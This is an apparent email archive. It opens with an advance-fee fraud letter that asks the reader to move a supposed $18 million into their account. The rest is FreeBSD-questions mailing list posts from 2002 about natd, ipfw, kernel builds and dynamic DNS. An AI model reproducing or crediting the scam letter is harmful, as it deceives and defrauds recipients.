claim we may make. All I require is your honest cooperation to enable us =
seeing this deal through. I guarantee that this will be executed under a =
legitimate arrangement that will protect you from any breach of the =
law.I wish to hear from to give you more detail.

Best REGARDS
=20
MR SEMION NELSON


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<HTML><HEAD>
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http-equiv=3DContent-Type>
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<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2><BR>From the office of MR SEMION =
NELSON<BR>Personal=20
assistance to chief Ige<BR>Office 114 senate building Ikeja =
Lagos</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I'm offering you this business request, =
hoping you=20
Will accept it with warmest heart. I am MR SEMION NELSON. The personal=20
assistance to late<BR>Attorney General of federation Bola Ige, former =
Minister=20
for POWER AND STILL of States Of Nigeria who was brutally murdered by =
this=20
Government late last year because of his interest to contest for the=20
2003<BR>presidential Election. Before the death of Honorable Ige he had =
in mind=20
of coming out for the presidential Election. And he had saved the money =
to make=20
sure he concludes the entire plan towards the election.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>This money was to be used for the =
completion of=20
Abiokuta still industries Before his death. The most important issue is =
that I=20
am the only person who Knows about it as his confidantes, and was among =
the=20
signatories. the amount is (US$18M). Eighteen million =
Dollars.&nbsp;&nbsp;&nbsp;=20
It is<BR>my wish with full trust that I am requesting you to assist me =
on how to=20
secure this money that was deposited in the bank before his =
sudden<BR>death. And=20
get it transferred into your account as one of the people that supplied =
The=20
materials used for the still industries but have not<BR>been =
paid.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Once you respond, we will then =
incorporate your=20
Establishment in Nigeria and prepare a suitable supply claim using an =
invoice=20
sheet to show the<BR>items supplied and their prices. These will be =
forwarded to=20
my department where necessary approvals will be granted and then the =
money=20
<BR>Will be sent into your account direct.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial=20
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
SHARE:<BR>&nbsp;A.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 30% for you (Account=20
Owner)<BR>&nbsp;B.&nbsp;&nbsp; 70% for us, I &amp; my two other=20
colleagues<BR>Please be informed that this project is assified =
sensitive.=20
Therefore this transaction will be most confidential, urgent and treated =
as=20
a<BR>matter of trust. </FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I have all necessary legal documents =
that can be=20
used to back up any claim we may make. All I require is your honest =
cooperation=20
to enable us seeing this deal through. I guarantee that this will be =
executed=20
under a legitimate arrangement that will protect you from any breach of =
the=20
law.I wish to hear from to give you more detail.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Best REGARDS<BR>&nbsp;<BR>MR SEMION=20
NELSON<BR></FONT></DIV></BODY></HTML>

------=_NextPart_000_0399_01C23985.9FD427F0--

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From owner-freebsd-questions  Thu Aug  1  8:42:34 2002
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From: "lane@joeandlane.com" <lane@joeandlane.com>
To: "Grant Cooper" <grant.cooper@nucleus.com>,
	<freebsd-questions@freebsd.org>
Subject: Re: The inscrutable natd redirect_port
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Thanks for the HOWTO.  That's a good resource to keep handy.

Unfortunately it hasn't yet helped me to resolved my problem.  Although it did 
cause me to revert back to firewall_type="OPEN" in rc.conf instead of using my 
own script ... at least until I can determine what is causing this problem.

It may be that the ports I'm attempting to use are simply blocked by the ISP.  
I'll see about reversing ports 21 and 23, since I know both of them are working 
properly.

thanks again
lane

> I did some reading yesterday from,
> http://www.freebsd-howto.com/HOWTO/Ipfw-HOWTO and if you are missing rule
> 100 and rule 200, the firewall defaults to a closed policy, you will see
> RPC(3) services break during startup. I was just about to test this senerio
> myself because I don't know what it means by a "RPC services". If this works
> pop me an e-mail.
> 
> ${fwcmd} add 100 pass all from any to any via lo0
> ${fwcmd} add 200 deny all from any to 127.0.0.0/8
> 
> 
> ----- Original Message -----
> From: <lane@joeandlane.com>
> To: <freebsd-questions@freebsd.org>
> Sent: Wednesday, July 31, 2002 10:20 PM
> Subject: The inscrutable natd redirect_port
> 
> 
> > I've got two nearly identical FreeBSD boxes, both running 4.6 STABLE, both
> > kernels rebuilt within the last week from the same source and same KERNEL
> > config file.
> >
> > Each machine runs identical rc.conf, except for the hostname.
> >
> > Each machine has two nics, an rl0 for the internal network and ed0 for the
> > external network.  Both machines act as a gateway for a small internal
> network
> > that includes an NT machine and an AS/400 for each.  Each machine is in a
> > workspace separated by about 10 miles.
> >
> > I can telnet or ftp to each of these machines from the other or from any
> > machine that they act as a gateway for.
> >
> > I mean this setup is identical EXCEPT that natd works on one and not on
> the
> > other.
> >
> > here is the information from rc.conf:
> >
> >  gateway_enable="YES"
> >  firewall_enable="YES"
> >  firewall_script="/etc/firewall/fwrules"
> >  natd_enable="YES"
> >  natd_interface="de0"
> >  natd_flags="-config /etc/natd.conf"
> >
> > and natd.conf:
> >
> >  interface de0
> >  dynamic yes
> >  use_sockets yes
> >  unregistered_only yes
> >  log yes
> >  log_denied yes
> >  #verbose yes
> >  deny_incoming no
> >  # send incoming ftp, wins, and mssql to the NT machine
> >  redirect_port tcp 192.168.1.2:1433 1433
> >  redirect_port udp 192.168.1.2:137 137
> >  redirect_port tcp 192.168.1.2:137 137
> >  redirect_port tcp 192.168.1.2:23 8023
> >  redirect_port tcp 192.168.1.2:21 8021
> >
> >  # send incoming db2, telnet, and ftp and client access to the AS/400
> machine
> >  redirect_port tcp 192.168.1.4:23 4023
> >  redirect_port tcp 192.168.1.4:21 4021
> >  redirect_port tcp 192.168.1.4:423 423
> >  redirect_port tcp 192.168.1.4:523 523
> >
> > and finally the firewall rules:
> >
> >     fwcmd="/sbin/ipfw"
> >     #make the interface into a macro
> >     de0="de0"
> >     rl0="rl0"
> >     $fwcmd -f flush
> >
> >     $fwcmd add divert natd all from any to any via $de0
> >     $fwcmd add pass all from any to any
> >
> > This setup works fine for one machine.  I am able to ftp, telnet, or send
> db2
> > or mssql requests to any machine on the network from any machine on either
> > network.
> >
> > HOWEVER ....
> >
> > None of this works on the other machine.  None of the natd redirects, that
> is.
> > Each request, for instance to "telnet remote_host 8023" is met with
> >
> > telnet: connect to address 172.172.5.1: Connection refused
> > telnet: Unable to connect to remote host  (This whether I attempt to
> connect
> > from the local network, from the 172.172.5.1 host, or from any remote
> site)
> >
> > But "telnet remote_host" and "telnet remote_host 23" work perfectly.
> >
> > /var/log/alias.log seems to witness the action, but I cannot interpret
> that
> > file to determine where or why 172.172.5.1 is rejecting the incoming
> request.
> >
> > What steps can I take to track down this failure?
> >
> > Thanks for reading.
> >
> > And thanks for your input.
> >
> > lane holcombe
> >
> > To Unsubscribe: send mail to majordomo@FreeBSD.org
> > with "unsubscribe freebsd-questions" in the body of the message
> >
> 
> 
> 



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From owner-freebsd-questions  Thu Aug  1  8:46:22 2002
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From: rheaB seW <iwes@Silver.TotalMac.net>
To: freebsd-questions@FreeBSD.ORG
Subject: Re: Recovering partitions
Message-ID: <20020801114620.B68434@Silver.TotalMac.net>
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Thanks, I'll try both.

--
wes


On Thu, Aug 01, 2002 at 04:40:59PM +0200, Hanspeter Roth wrote:
>   On Jul 31 at 23:20, rheaB seW spoke:
> 
> > Is there any way to recover my lost partitions? If it's possible by somehow getting the superblock count.. or something.. I'd sure appreciate the help.
> 
> I recently destroyed my partition table.
> I could recover it with testdrive
> http://www.cgsecurity.org/testdisk.html.
> Gpart discovered my FreeBSD partition but not my logical fat32
> partitions. But maybe on your drive it might discover more.
> http://www.stud.uni-hannover.de/user/76201/gpart/
> 
> -Hanspeter

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From owner-freebsd-questions  Thu Aug  1  8:46:52 2002
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Date: Thu, 1 Aug 2002 11:46:48 -0400
From: "Scott M. Nolde" <scott@smnolde.com>
To: John Bolster <j.bol@gte.net>
Cc: "Freebsd-Questions@Freebsd. Org" <freebsd-questions@freebsd.org>
Subject: Re: what does this mean
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John Bolster(j.bol@gte.net)@2002.08.01 05:38:51 +0000:
> Hi!
> 
> Following is the monthly run output email I just received. Does anyone know
> what the first and last lines represent (they are not valid accounts on the
> server)?
> 
> Doing login accounting:
> 	heta-talk@yahoog 55788.44
> 	db                   8.76
> 	guest                6.19
> 	ftp                  4.20
> 	john                 3.65
> 	jeffreyf             3.30
> 	root                 0.34
> 	total            -169166.60
> 	11$85e14540$c454 -224981.48
> 
> Thanks,
> 
> John Bolster
> 

It looks as though your mail server was used to spam someone and they used
up a lot of time doing it.
-- 
Scott Nolde
GPG Key 0xD869AB48

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From owner-freebsd-questions  Thu Aug  1  8:54:13 2002
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To: <freebsd-questions@freebsd.org>
Subject: newbie question: Will the packages that I installed from ports be recompiled automatically with 'make world'?
Date: Fri, 2 Aug 2002 00:52:58 +0900
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I finished make world successfully .
After that , I started to install some packages like mrtg and so on.
Now I want to do 'make world' again. And I have a question.
Will the packages that I installed from ports be recompiled automatically
with 'make world'?
If it does , I don't have to recompile the packages installed from ports
..Right?

* sorry for my stupid newbie question.



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From owner-freebsd-questions  Thu Aug  1  8:58:52 2002
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From: Rob O'Donnell <robert@aphnet.co.uk>
Subject: Re: RAM-only systems
In-Reply-To: <1028192922.3d48fa9aa8aad@imp.free.fr>
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At 11:08 01/08/2002 +0200, porte10@free.fr wrote:
>Hi,
>
>Is there a doc detailing how to tweak FreeBSD in order to
>have it operate in RAM only (run on a box without hard disks) ?

Take a look at the picobsd port.

You might also try these pages too:
http://www.cse.ucsc.edu/~brucem/pico_notes.htm
http://thewall.sourceforge.net/

If you are still stuck, join the  freebsd-small@freebsd.org mailing list - 
I lurk there, but they seem a friendly bunch,  :-)

Rob.



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From owner-freebsd-questions  Thu Aug  1  8:58:59 2002
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From: vcardon <vcardon@siue.edu>
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Subject: Re: Slightly off topic - C++
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On Thu, Aug 01, 2002 at 11:33:50AM -0400, MET wrote:
> Anybody know where I might find a good tutorial or something on
> directory/file browsing in C++.  I'm trying to write a program that
> backs up MySQL databases, quite a few, and keeps track of them by not
> letting the backups exceed a certain number.  Naturally this would be
> done by deleting files that are X amount of days/weeks old.  However, to
> do this I need to be able to scan all the files in a specific directory
> and then obtain information on when they were created/modified.
> =20
> I know there are Perl programs that do this, but I'd rather do it myself
> ~ its a learning experience.

You can use the MySQL++ C++ API to create the backups. Then you will
need to use some UNIX system calls in order to check the modification
times on directories and files.

As far as tutorials are concerned, there is a tutorial for MYSQL++ in
the documentation section of the MySQL site. I am not aware of any good
tutorials for UNIX system calls, but I am sure a google search would
turn something up. If you have access to it, I highly recommend
_Advanced_Programming_in_the_UNIX_Environment_ by W. Richard Stevens.

I hope that helps.

Victor

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From owner-freebsd-questions  Thu Aug  1  9: 4: 4 2002
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From: Simon Dick <simond@irrelevant.org>
To: Fernando Costa de Almeida <falmeida@easyit.com.br>
Cc: freebsd-questions@freebsd.org
Subject: Re: Constructing a distribution
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On Thu, Aug 01, 2002 at 10:22:21AM -0300, Fernando Costa de Almeida wrote:
>      Hi,
>  
>      I would like to make an iso image of FreeBSD because I have a lot of
>  machines to install that are identical (has the same softwares,
>  configuration, etc), and I have to install FreeBSD and the softwares every
>  time, losing a lot of time....
>  
>      What I want is to put the CD, and the install process will do all the
>  tasks and install all the software I need... I already seen something
>  familiar with Red Hat, but I  dont know how to do with FreeBSD....

It's possible to build your own ISO using the make release target and
I believe sysinstall can be scripted, but I've not tried that part
myself and don't know where you'd look for docs on it, sorry!

-- 
Simon Dick					simond@irrelevant.org

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From owner-freebsd-questions  Thu Aug  1  9:22:40 2002
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Subject: Re: Anyone gotten a gforce4 to work in X?
From: Joe Marcus Clarke <marcus@marcuscom.com>
To: Doug Barton <DougB@FreeBSD.ORG>
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On Wed, 2002-07-31 at 13:16, Joe Marcus Clarke wrote:
> On Wed, 2002-07-31 at 13:10, Doug Barton wrote:
> > 	I tried the patches at
> > ftp://ftp.wolves.k12.mo.us/pub/stuff/nvpatch.tar.gz but that didn't work
> > for me. I have geforce4 mx440, which I naively assumed would work, since
> > so many other geforce cards were supported. Stupid me. Any suggestions
> > before I take this card back?
> 
> I may be able to get you some patches.  Wait a few hours before you
> return the card.

I have obtained a subset of patches from the XFree86 CVS repo that
supports both the GeForce2 Go and GeForce4-based cards.  I've updated my
GeForce page at http://www.marcuscom.com/g2g-xfree86/article.html with
the info.  The patches worked for Doug. 

Joe

> 
> Joe
> 
> > 
> > TIA,
> > 
> > Doug
> > 
> > -- 
> >    "We have known freedom's price. We have shown freedom's power.
> >       And in this great conflict, ...  we will see freedom's victory."
> > 	- George W. Bush, President of the United States
> >           State of the Union, January 28, 2002
> > 
> >          Do YOU Yahoo!?
> > 
> > 
> > 
> > To Unsubscribe: send mail to majordomo@FreeBSD.org
> > with "unsubscribe freebsd-questions" in the body of the message
> > 
> -- 
> PGP Key : http://www.marcuscom.com/pgp.asc
-- 
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From owner-freebsd-questions  Thu Aug  1  9:29:16 2002
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Date: Thu, 1 Aug 2002 10:29:01 -0600 (MDT)
From: Scott Carmichael <freebsd@jobeus.net>
To: nuro_pro <maillist@withdoc.net>
Cc: freebsd-questions@freebsd.org
Subject: Re: newbie question: Will the packages that I installed from ports
 be recompiled automatically with 'make world'?
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Nope, they won't be. (actually, this would take a really really long time
once you have many packages installed (I've got about 180)... Eeek! :)
Doing a make world in /usr/src will just recompile the default OS files,
none of your ports/packages.

-Scott

On Fri, 2 Aug 2002, nuro_pro wrote:

> I finished make world successfully .
> After that , I started to install some packages like mrtg and so on.
> Now I want to do 'make world' again. And I have a question.
> Will the packages that I installed from ports be recompiled automatically
> with 'make world'?
> If it does , I don't have to recompile the packages installed from ports
> ..Right?
>
> * sorry for my stupid newbie question.
>
>
>
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
>


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From owner-freebsd-questions  Thu Aug  1  9:29:28 2002
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Subject: Very High HTTPD Usage (Pls help, urgent)
Date: Thu, 1 Aug 2002 12:29:21 -0400
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12:26PM  up 124 days,  6:47, 2 users, load averages: 12.31, 12.66, 12.17

Usually around 0.20- 0.30 load average...

last pid: 53735;  load averages: 13.83, 13.01, 12.33
up 124+06:48:28 12:27:22
94 processes:  16 running, 78 sleeping
CPU states: 27.2% user,  0.0% nice, 72.4% system,  0.4% interrupt,  0.0% idle
Mem: 324M Active, 63M Inact, 89M Wired, 23M Cache, 61M Buf, 992K Free
Swap: 720M Total, 176M Used, 544M Free, 24% Inuse

  PID USERNAME     PRI NICE  SIZE    RES STATE    TIME   WCPU    CPU COMMAND
42591 nobody        61   0  5732K  3728K RUN      3:16  7.18%  7.18% httpd
47033 nobody        60   0  5720K  3720K RUN      3:15  7.03%  7.03% httpd
47750 nobody        60   0  5612K  3600K RUN      3:17  6.98%  6.98% httpd
47736 nobody        60   0  5720K  3716K RUN      3:17  6.79%  6.79% httpd
47749 nobody        59   0  5720K  3716K RUN      3:16  6.79%  6.79% httpd
49201 username        59   0 19204K 13412K RUN      3:23  6.54%  6.54% procmail
47755 nobody        59   0  5600K  3572K RUN      3:17  6.54%  6.54% httpd
47035 nobody        58   0  5720K  3716K RUN      3:15  6.49%  6.49% httpd
49166 nobody        59   0  5600K  3532K RUN      3:16  6.40%  6.40% httpd
47563 nobody        58   0  5720K  3724K RUN      3:17  6.10%  6.10% httpd

How can I troubleshoot this and track down the culprit. It has been at this for the
last 10 minutes and is really slowing down the server. Please help!

Thank you!





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From owner-freebsd-questions  Thu Aug  1  9:31:34 2002
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Other than your ram is all consumed - if you use PHP check any new code
for infinite loops, otherwise you are probably being pounded by a web
spider/search engine - check the access_logs for a pattern of who is
connecting.

On Thu, 1 Aug 2002 lists@brenius.com wrote:

> 12:26PM  up 124 days,  6:47, 2 users, load averages: 12.31, 12.66, 12.17
> 
> Usually around 0.20- 0.30 load average...
> 
> last pid: 53735;  load averages: 13.83, 13.01, 12.33
> up 124+06:48:28 12:27:22
> 94 processes:  16 running, 78 sleeping
> CPU states: 27.2% user,  0.0% nice, 72.4% system,  0.4% interrupt,  0.0% idle
> Mem: 324M Active, 63M Inact, 89M Wired, 23M Cache, 61M Buf, 992K Free
> Swap: 720M Total, 176M Used, 544M Free, 24% Inuse
> 
>   PID USERNAME     PRI NICE  SIZE    RES STATE    TIME   WCPU    CPU COMMAND
> 42591 nobody        61   0  5732K  3728K RUN      3:16  7.18%  7.18% httpd
> 47033 nobody        60   0  5720K  3720K RUN      3:15  7.03%  7.03% httpd
> 47750 nobody        60   0  5612K  3600K RUN      3:17  6.98%  6.98% httpd
> 47736 nobody        60   0  5720K  3716K RUN      3:17  6.79%  6.79% httpd
> 47749 nobody        59   0  5720K  3716K RUN      3:16  6.79%  6.79% httpd
> 49201 username        59   0 19204K 13412K RUN      3:23  6.54%  6.54% procmail
> 47755 nobody        59   0  5600K  3572K RUN      3:17  6.54%  6.54% httpd
> 47035 nobody        58   0  5720K  3716K RUN      3:15  6.49%  6.49% httpd
> 49166 nobody        59   0  5600K  3532K RUN      3:16  6.40%  6.40% httpd
> 47563 nobody        58   0  5720K  3724K RUN      3:17  6.10%  6.10% httpd
> 
> How can I troubleshoot this and track down the culprit. It has been at this for the
> last 10 minutes and is really slowing down the server. Please help!
> 
> Thank you!
> 
> 
> 
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
> 


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Date: Thu, 01 Aug 2002 10:56:13 -0600
From: Brad Waite <brad@wcubed.net>
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I'm looking to backup to a Pioneer A04 DVD-R drive.  Is this possible, and if 
so should I use burncd or cdrecord?

Please reply off-list, thanks.

Thanks,

Brad Waite


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From owner-freebsd-questions  Thu Aug  1 10: 0:45 2002
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I am trying to upgrade my machines to fix the current issues posted in the
list.  I just got the following error when trying to upgrade from 4.4
STABLE to 4.4-RELEASE p22:

===> share/termcap
TERM=dumb ex - /usr/src/share/termcap/termcap.src <
/usr/src/share/termcap/reorder > /dev/null
*** Error code 1


Any Ideas what needs to be done so I can continue?

Thanks,
Roger


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From owner-freebsd-questions  Thu Aug  1 10: 7:35 2002
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From: Roman Neuhauser <neuhauser@bellavista.cz>
To: Fernando Costa de Almeida <falmeida@easyit.com.br>
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Subject: Re: Constructing a distribution
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> From: "Fernando Costa de Almeida" <falmeida@easyit.com.br>
> To: <freebsd-questions@freebsd.org>
> Subject: Constructing a distribution
> Date: Thu, 1 Aug 2002 10:22:21 -0300
> 
>      Hi,
>  
>      I would like to make an iso image of FreeBSD because I have a lot of
>  machines to install that are identical (has the same softwares,
>  configuration, etc), and I have to install FreeBSD and the softwares every
>  time, losing a lot of time....

    see release(7)

-- 
FreeBSD 4.6-STABLE
7:06PM up 2 days, 2:43, 10 users, load averages: 0.00, 0.02, 0.00

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From owner-freebsd-questions  Thu Aug  1 10: 8: 0 2002
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Subject: Re: Striped Vinum on two drives
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Drew Raines wrote:
>
> (2)  How do I rename that ``1'' volume?  I created it with help
>      from an example in the archives without realizing that
>      would be the name.

Nevermind about this one.  I found the ``rename'' command.  And,
surprisingly, it'll let you rename a volume without necessarily
renaming the corresponding plexes.  Is that bad?

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From owner-freebsd-questions  Thu Aug  1 10: 9: 9 2002
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Subject: ipfw rules question
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Hello,

   I am nat'ing my cable modem, why doesn't this configuration work?  It's
either slow or inaccessable.

#!/bin/sh
ipfw add 00100 divert 8668 ip from any to any
ipfw add 00101 allow tcp from any 21 to any keep-state established
ipfw add 00102 allow tcp from any 22 to any keep-state established
ipfw add 00202 allow tcp from any 25 to any keep-state established
ipfw add 00203 allow tcp from any 53 to any keep-state established
ipfw add 00204 allow tcp from any 80 to any keep-state established
ipfw add 00205 allow tcp from any 110 to any keep-state established
ipfw add 00206 allow tcp from any 143 to any keep-state established
ipfw add 00207 allow tcp from any 443 to any keep-state established
ipfw add 00209 allow tcp from any 5900 to any keep-state established
ipfw add 00210 allow ip from any to any keep-state via xl0
ipfw add 00611 allow ip from any to any keep-state via lo0
ipfw add 00711 allow ip from any to any keep-state out xmit xl1
ipfw add 00712 allow ip from 10.0.0.0/24 to any keep-state
ipfw add 00713 allow ip from 10.0.0.0/24 to 10.0.0.0/24 keep-state
ipfw add 00715 allow udp from any to any keep-state
ipfw add 00716 allow ip from any to any
ipfw add 65535 deny ip from any to any


Douglas A. Maske
Code Thrower/Webmaster
http://www.maske.org



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From owner-freebsd-questions  Thu Aug  1 10:29:39 2002
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From: "Ken" <ken@carnahan.ws>
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Subject: Dynamic DNS issues
Date: Thu, 1 Aug 2002 10:29:25 -0700
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Hello all,

I have a DSL connection (Dynamic IP) that feeds my DLINK wireless
router/firewall. I have my Freebsd box hardwired to the router and then I
have a laptop and a windows box using wireless nics. Everything works great!
Now I want to allow access to my web and ftp server on the Bsd box. I have
my own domain name already and can use one of the dynamic dns hosting
services. But how can I (automatically  of course), update my dynamic dns? I
am unsure how to pull the wan ip from the router. The router is passing all
requests on port 80 to my bsd box. But I need to find out my wan  ip to
update the dns. I would like to maybe run a shell script or something get
the wan ip and then update the dns. I have a script ot do the actual update,
but any ideas on how to pull the wan ip? All I keep getting back is the lan
ip (192.168.0.1)

Any thoughts or ideas from anybody ? This wouldn't be so bad but it seems
that the dynamic ip is changed at odd intervals and pretty often. So it
makes it a real pain to keep up with it manually.


Thanks


Ken




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From owner-freebsd-questions  Thu Aug  1 10:45:47 2002
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From: David Banning <david@skytrackercanada.com>
To: Nathan Kinkade <nkinkade@dsl-only.net>
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> Generally speaking, your DSL provider will give you a limited choice of
> CPE from which to choose.  Your best bet is to stay within those bounds
> if you want to guarantee compatability between your CPE and the DSLAM. 
> Your DSL provider, not your ISP, will have tested various CPE with their
> DSLAM(s).  This isn't to say that their decisions on which CPE to
> "certify" aren't partial - only that they are known to work as expected.
>  Did your provider tell you that you could just buy any CPE that you
> wanted?  In theory, your CPE need only conform to the same line encoding
> standards as your provider (DMT or CAP), but in practice this may not be
> fool-proof.

In my case, my DSL provider -sold- me the modem, but he also said that
I didn't have to get it from him. He said I could use -any- brand that
I wanted. Given your explanation, that would be "any modem as long as
it falls within such-and-such parameters."

Thanks for your comments. I will take it up with him.

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From owner-freebsd-questions  Thu Aug  1 10:49:19 2002
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From: Jason P Holland <jholland@cs.selu.edu>
To: Ken <ken@carnahan.ws>
Cc: questions@FreeBSD.ORG
Subject: Re: Dynamic DNS issues
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Ken,
  if you go to dyndns.org, they have multiple clients to choose from that
can run on your freebsd system and poll the router for an external ip
address.  it is very likely your router is supported as dlink is a popular
brand.  here is the link for unix/linux clients

http://clients.dyndns.org/unix.php?service=custom

i use ddclient at home with a linksys router, it works wonderfully, and 
was easy to setup.  these of course, work with the dyndns service, but 
i'm sure others can be found, or these can be modified to suit your 
needs.  hope this helps

jason


> Hello all,
> 
> I have a DSL connection (Dynamic IP) that feeds my DLINK wireless
> router/firewall. I have my Freebsd box hardwired to the router and then I
> have a laptop and a windows box using wireless nics. Everything works great!
> Now I want to allow access to my web and ftp server on the Bsd box. I have
> my own domain name already and can use one of the dynamic dns hosting
> services. But how can I (automatically  of course), update my dynamic dns? I
> am unsure how to pull the wan ip from the router. The router is passing all
> requests on port 80 to my bsd box. But I need to find out my wan  ip to
> update the dns. I would like to maybe run a shell script or something get
> the wan ip and then update the dns. I have a script ot do the actual update,
> but any ideas on how to pull the wan ip? All I keep getting back is the lan
> ip (192.168.0.1)
> 
> Any thoughts or ideas from anybody ? This wouldn't be so bad but it seems
> that the dynamic ip is changed at odd intervals and pretty often. So it
> makes it a real pain to keep up with it manually.
> 
> 
> Thanks
> 
> 
> Ken
> 
> 
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
> 


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From owner-freebsd-questions  Thu Aug  1 10:51:33 2002
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From: Ben Williams <ben@instantemail.net>
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Subject: gcc died in kde3 meta-port
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[ Please CC me directly ]

Approximately 36 hours after starting a `make install` in
/usr/ports/x11/kde3 I got this:

--------------------begin screen paste--------------------
c++ -DHAVE_CONFIG_H -I. -I. -I../.. -I../../libkdegames -I../../libkdegames/kgame -I/usr/local/include -I/usr/X11R6/include   -DSRCD
IR="\"/usr/ports/games/kdegames3/work/kdegames-3.0.2/kwin4/kwin4\""  -DNDEBUG -DNO_DEBUG -O2 -O3 -pipe -fno-exceptions -fno-check-ne
w -DQT_CLEAN_NAMESPACE -DQT_NO_COMPAT -DQT_NO_ASCII_CAST  -c -o kwin4doc.o `test -f kwin4doc.cpp || echo './'`kwin4doc.cpp
kwin4doc.cpp: In method `class Kwin4Player * Kwin4Doc::getPlayer(FARBE)':
kwin4doc.cpp:1210: Internal compiler error.
kwin4doc.cpp:1210: Please submit a full bug report.
kwin4doc.cpp:1210: See <URL:http://www.gnu.org/software/gcc/bugs.html> for instructions.
gmake[3]: *** [kwin4doc.o] Error 1
gmake[3]: Leaving directory `/usr/ports/games/kdegames3/work/kdegames-3.0.2/kwin4/kwin4'
gmake[2]: *** [all-recursive] Error 1
gmake[2]: Leaving directory `/usr/ports/games/kdegames3/work/kdegames-3.0.2/kwin4'
gmake[1]: *** [all-recursive] Error 1
gmake[1]: Leaving directory `/usr/ports/games/kdegames3/work/kdegames-3.0.2'
gmake: *** [all] Error 2
*** Error code 2

Stop in /usr/ports/games/kdegames3.
*** Error code 1

Stop in /usr/ports/x11/kde3.
[root@loathing] /usr/ports/x11/kde3#
---------------------end screen paste---------------------

I don't know enough about c++ or makefiles to be able to follow the
directions at http://www.gnu.org/software/gcc/bugs.html. I edited
kwin4 out of the kdegames3 makefile and the build has gone another 12
hours into KOffice and it's still chugging right along.

1. Can someone explain to me how to submit the bug report to the gcc
guys?

2. Is it normal on a 384MB, 350mhz computer for a kde3 metaport build
to take more than 2 days?

Thanks,
--
Ben.


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From owner-freebsd-questions  Thu Aug  1 10:53:28 2002
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Subject: WHAT NOW? Another kernel build error
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I am trying to building a custom kernel but I get this error when I do a 
"make depend". This also happens when I try to build a plain GENERIC kernel:

minotaur# make depend
rm -f .newdep
make -V CFILES -V SYSTEM_CFILES -V GEN_CFILES | xargs  mkdep -a -f .newdep 
-O -pipe  -Wall -Wredundant-decls -Wnested-externs 
-Wstrict-prototypes  -Wmissing-prototypes -Wpointer-arith -Winline 
-Wcast-qual  -fformat-extensions -ansi  -nostdinc -I- -I. -I../.. 
-I../../../include -I../../contrib/ipfilter  -D_KERNEL -include 
opt_global.h -elf  -mpreferred-stack-boundary=2
make -V SFILES -V SYSTEM_SFILES | xargs  env MKDEP_CPP="cc -E" mkdep -a -f 
.newdep -x assembler-with-cpp -DLOCORE -O -pipe  -Wall -Wredundant-decls 
-Wnested-externs -Wstrict-prototypes  -Wmissing-prototypes -Wpointer-arith 
-Winline -Wcast-qual  -fformat-extensions -ansi  -nostdinc -I- -I. -I../.. 
-I../../../include -I../../contrib/ipfilter  -D_KERNEL -include 
opt_global.h -elf  -mpreferred-stack-boundary=2
rm -f .depend
mv -f .newdep .depend
cd ../../modules ; env MAKEOBJDIRPREFIX=/usr/src/sys/compile/SIREN/modules 
MACHINE=i386 make obj ;  env 
MAKEOBJDIRPREFIX=/usr/src/sys/compile/SIREN/modules MACHINE=i386 make depend
===> accf_data
"/usr/src/sys/modules/accf_data/../../conf/kmod.mk", line 63: Could not 
find bsd.init.mk
"/usr/src/sys/modules/accf_data/../../conf/kmod.mk", line 190: Could not 
find bsd.links.mk
make: fatal errors encountered -- cannot continue
*** Error code 1

Stop in /usr/src/sys/modules.
*** Error code 1

Stop in /usr/src/sys/compile/SIREN.
minotaur#





Here's my dmesg output:
minotaur# dmesg
Copyright (c) 1992-2002 The FreeBSD Project.
Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994
         The Regents of the University of California. All rights reserved.
FreeBSD 4.6-RELEASE #0: Tue Jun 11 06:14:12 GMT 2002
     murray@builder.freebsdmall.com:/usr/src/sys/compile/GENERIC
Timecounter "i8254"  frequency 1193182 Hz
CPU: AMD-K6(tm) 3D processor (300.68-MHz 586-class CPU)
   Origin = "AuthenticAMD"  Id = 0x58c  Stepping = 12
   Features=0x8021bf<FPU,VME,DE,PSE,TSC,MSR,MCE,CX8,PGE,MMX>
   AMD Features=0x80000800<SYSCALL,3DNow!>
real memory  = 167759872 (163828K bytes)
config> di pcic0
config> di sn0
config> di lnc0
config> di ie0
config> di fe0
config> di ed0
config> di cs0
config> di bt0
config> di aic0
config> di aha0
config> di adv0
config> q
avail memory = 158142464 (154436K bytes)
Preloaded elf kernel "kernel" at 0xc04d0000.
Preloaded userconfig_script "/boot/kernel.conf" at 0xc04d009c.
K6-family MTRR support enabled (2 registers)
md0: Malloc disk
Using $PIR table, 7 entries at 0xc00f0d10
npx0: <math processor> on motherboard
npx0: INT 16 interface
pcib0: <Host to PCI bridge> on motherboard
pci0: <PCI bus> on pcib0
atapci0: <SiS 5591 ATA66 controller> port 
0xd000-0xd00f,0xd400-0xd403,0xd800-0xd807,0xe000-0xe003,0xe400-0xe407 irq 
14 at device 0.1 on pci0
ata0: at 0x1f0 irq 14 on atapci0
ata1: at 0x170 irq 15 on atapci0
isab0: <SiS 85c503 PCI-ISA bridge> at device 1.0 on pci0
isa0: <ISA bus> on isab0
pci0: <unknown card> (vendor=0x1039, dev=0x0009) at 1.1
ohci0: <SiS 5571 USB controller> mem 0xdf800000-0xdf800fff irq 9 at device 
1.2 on pci0
usb0: OHCI version 1.0, legacy support
usb0: <SiS 5571 USB controller> on ohci0
usb0: USB revision 1.0
